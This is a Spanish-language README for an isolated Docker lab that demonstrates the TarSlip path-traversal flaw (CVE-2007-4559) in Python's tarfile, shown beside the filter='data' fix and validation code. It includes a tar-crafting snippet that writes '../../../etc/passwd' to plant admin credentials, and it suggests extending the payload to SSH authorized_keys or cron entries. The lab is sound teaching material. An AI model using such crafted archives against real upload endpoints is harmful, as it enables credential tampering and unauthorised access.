
Laboratorio Docker autocontenido que demuestra la vulnerabilidad de traversal de directorios CVE-2007-4559 (TarSlip) a través del módulo tarfile de Python. Incluye APIs vulnerables y corregidas, generación de payloads y un script de demostración interactivo para educación en seguridad.
Solo con fines educativos. Este laboratorio explota intencionalmente vulnerabilidades del sistema de archivos dentro de contenedores Docker aislados. No lo ejecute en ningún sistema con datos sensibles o en entornos de producción.
Un laboratorio Docker autocontenido que demuestra la CVE-2007-4559 — la infame vulnerabilidad "TarSlip" en el módulo tarfile de Python — a través de una cadena de ataque concreta de principio a fin:
extractall() escribe ciegamente una entrada tar llamada ../../../etc/passwd fuera del directorio de extracción, sobrescribiendo el archivo real del sistema./admin protegido.tarfile.extractall() de Python reproduce fielmente cada entrada en un archivo tar, incluyendo aquellas cuyos nombres contienen secuencias de recorrido de directorio (../). Nunca fue diseñado para ser un límite de seguridad.
nombre de entrada tar : ../../../etc/passwd
directorio de extracción : /shared/uploads/a1b2c3d4/
ruta resuelta : /shared/uploads/a1b2c3d4/../../../etc/passwd
= /etc/passwd ← archivo del sistema sobrescrito
La demostración se ejecuta en tres tiempos, cada uno requiere una pulsación de tecla para avanzar.
GET /admin → 401. El endpoint admin existe y está protegido. El atacante no conoce la contraseña.innocent.tar.gz → los archivos caen dentro del directorio sandbox. Todo parece normal.Atacante crea tarslip_passwd.tar.gz
└─ entrada: "../../../etc/passwd"
contenido: admin:hacked:1001:... ← contraseña plantada
│
▼
POST /upload (carga de archivo multipart)
│
▼
extractall("/shared/uploads/{uuid}/")
resuelve "../../../etc/passwd" → /etc/passwd ← CVE-2007-4559
│
▼
GET /admin Authorization: Basic admin:hacked
│
▼
HTTP 200 — "¡Bienvenido, admin! Tienes acceso completo de administrador."
flag: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}
Un solo HTTP POST. Sin shell. Sin payload RCE. Solo un archivo tar.
El mismo tarball se sube a la API corregida, que pasa filter='data' a extractall(). Python lanza tarfile.OutsideDestinationError — el recorrido se bloquea, /etc/passwd no se toca, y /admin permanece bloqueado.
# Vulnerable — predeterminado antes de Python 3.14
tar.extractall(extraction_dir)
# Corregido — PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')
Un argumento. Quince años para implementarse.
Cuatro servicios en una red bridge Docker aislada (tarslip-net). Nada llega a internet.
┌─────────────────────────────────────────────────────────┐
│ tarslip-net (bridge) │
│ │
│ ┌─────────────────┐ ┌──────────────────────────┐ │
│ │ vulnerable-api │ │ file-server │ │
│ │ python:3.11.3 │ │ nginx:alpine │ │
│ │ puerto 8000 │ │ puerto 8080 (host) │ │
│ │ │ │ │ │
│ │ POST /upload │ │ Sirve /shared a través │ │
│ │ GET /admin │ │ de HTTP — navegar │ │
│ │ GET /health │ │ visualmente extracciones│ │
│ └────────┬────────┘ └────────────┬─────────────┘ │
│ │ volumen de almacenamiento compartido │
│ └────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ attacker │ │
│ │ python:3.12 │ (sin puerto host — solo interno) │
│ │ │ │
│ │ craft_malicious.py — genera tarballs │
│ │ demo.py — impulsa la demostración │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────┘
Las API vulnerable y corregida usan código fuente idéntico. La única diferencia es la variable de entorno USE_SAFE_EXTRACTION=true en el contenedor corregido, que activa el único argumento filter='data'.
CVE-2007-4559-lab/
├── run_demo.sh ← empezar aquí
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│ ├── app.py # API Flask: /upload + /admin + /health
│ ├── Dockerfile # siembra admin:s3cr3t_Adm1nPass en /etc/passwd
│ └── requirements.txt
├── file-server/
│ ├── Dockerfile
│ └── nginx.conf
└── attacker/
├── craft_malicious.py # genera innocent.tar.gz + tarslip_passwd.tar.gz
├── demo.py # controlador CLI de cuatro modos (craft/baseline/exploit/verify)
├── Dockerfile
└── requirements.txt
docker compose version)bashgit clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh
El script es completamente interactivo. Imprime una narrativa antes de cada paso y espera Enter para avanzar. No se necesita conocimiento previo de Docker para seguirlo.
Si desea avanzar manualmente:
# Stack vulnerable
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit
# Stack corregido
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify
# Desmontaje
docker compose -f docker-compose.fixed.yml down
Mientras el stack vulnerable esté en ejecución, abra http://localhost:8080/uploads/ para navegar por los directorios de sesión extraídos en su navegador.
/adminLa API siembra una contraseña de administrador secreta en /etc/passwd en el momento de construir la imagen:
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash
GET /admin lee este archivo y verifica el segundo campo (contraseña) contra las credenciales de Autenticación Básica HTTP. El atacante no conoce s3cr3t_Adm1nPass — pero después de que TarSlip sobrescribe el archivo con su propia versión que contiene admin:hacked, la conoce.
Este es un modelo simplificado de objetivos del mundo real: authorized_keys de SSH, archivos de configuración de aplicaciones, trabajos cron y cualquier archivo de credenciales que el proceso web pueda escribir.
craft_malicious.py usa el propio módulo tarfile de Python — el mismo que tiene el error:
def _add_entry(tar, name, content):
info = tarfile.TarInfo(name=name) # name es la ruta de recorrido
info.size = len(content)
tar.addfile(info, io.BytesIO(content))
# El nombre de la entrada se resuelve a /etc/passwd cuando se extrae en /shared/uploads/{uuid}/
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)
Sin herramientas especiales. Sin explotación binaria. La biblioteca estándar es tanto el arma como la víctima.
Python 3.12 introdujo filter= en PEP 706. El filtro 'data':
tarfile.OutsideDestinationError en intentos de recorrido# Antes (vulnerable — todavía el predeterminado hasta Python 3.14)
with tarfile.open(path) as tar:
tar.extractall(dest)
# Después (seguro)
with tarfile.open(path) as tar:
tar.extractall(dest, filter='data')
Para Python 3.11 y versiones anteriores, valide manualmente:
import os
def safe_extract(tar, dest):
dest = os.path.realpath(dest)
for member in tar.getmembers():
member_path = os.path.realpath(os.path.join(dest, member.name))
if not member_path.startswith(dest + os.sep):
raise ValueError(f"Ruta insegura: {member.name}")
tar.extractall(dest)
Análisis estático: la regla B202 de bandit marca llamadas inseguras a extractall() en CI.
TarSlip es el nombre de Python para una clase de vulnerabilidad que existe en todos los lenguajes con APIs de extracción de archivos:
Misma causa raíz en todas partes: confiar en rutas de archivos no confiables. Misma corrección en todas partes: canonizar y validar antes de escribir.
Enfóquese en la diferencia de código antes/después y en la regla bandit B202. El objetivo es "¿cómo prevenimos esto en nuestra base de código?" — muestre la guía de migración de PEP 706 y cómo agregar la verificación a CI.
Enfóquese en la metodología de divulgación de Trellix — cómo buscaron en GitHub a gran escala, estimaron el impacto en más de 350,000 repos y navegaron la divulgación responsable para una vulnerabilidad tan extendida.
Extienda craft_malicious.py para plantar un archivo authorized_keys de SSH o una entrada maliciosa de cron en lugar de /etc/passwd. Misma técnica, diferentes objetivos — muestra que cualquier ruta escribible es una superficie de ataque.
MIT — úselo libremente para educación, investigación de seguridad y demostraciones en conferencias. No use las técnicas de generación de payload contra sistemas que no le pertenezcan.
| Línea de tiempo |
|---|
| 2007 | Error reportado al equipo de seguridad de Python |
| 2007 – 2022 | Marcado como "no es un problema de seguridad" — tarfile "funciona como se espera" |
| 2022 | Investigadores de Trellix escanean GitHub y encuentran más de 350,000 repos que llaman a extractall() con entradas no confiables |
| 2022 | Divulgación pública. La CVE-2007-4559 resurge. Caos en toda la industria. |
| 2023 | PEP 706 incluye filter='data' en Python 3.12 — la corrección es un solo argumento |
| Servicio | Imagen | Rol | Puerto host |
|---|
vulnerable-api | python:3.11.3-slim | API Flask de carga + /admin protegido por autenticación /etc/passwd | 8000 |
fixed-api | python:3.12-slim | Mismo código + USE_SAFE_EXTRACTION=true | 8000 |
file-server | nginx:alpine | Listado de directorios de archivos extraídos | 8080 |
attacker | python:3.12-slim | Generador de payload + controlador de demostración | — |
| Pausa | Narrativa mostrada | Acción al presionar Enter |
|---|
| 1 | Línea de tiempo de la CVE, qué son los tres tiempos | Construir stack vulnerable |
| 2 | Roles de los contenedores, contraseña admin sembrada | Generar payloads |
| 3 | Qué hay dentro de cada tarball | Tiempo 1 — base |
| 4 | Por qué /admin es 401, cómo se ve la extracción normal | Tiempo 2 — exploit |
| 5 | El cálculo exacto del recorrido, qué se sobrescribe | Cambiar a stack corregido |
| 6 | Qué hace filter='data' y por qué funciona | Tiempo 3 — verificar |
| 7 | Conclusiones clave + patrón ZipSlip más amplio | Desmontaje |
| Lenguaje | API vulnerable | CVE / Aviso |
|---|
| Python | tarfile.extractall() | CVE-2007-4559 |
| Java | ZipInputStream | ZipSlip (2018) |
| Go | archive/zip | ZipSlip (2018) |
| .NET | ZipArchive | ZipSlip (2018) |
| Node.js | tar, adm-zip, otros | ZipSlip (2018) |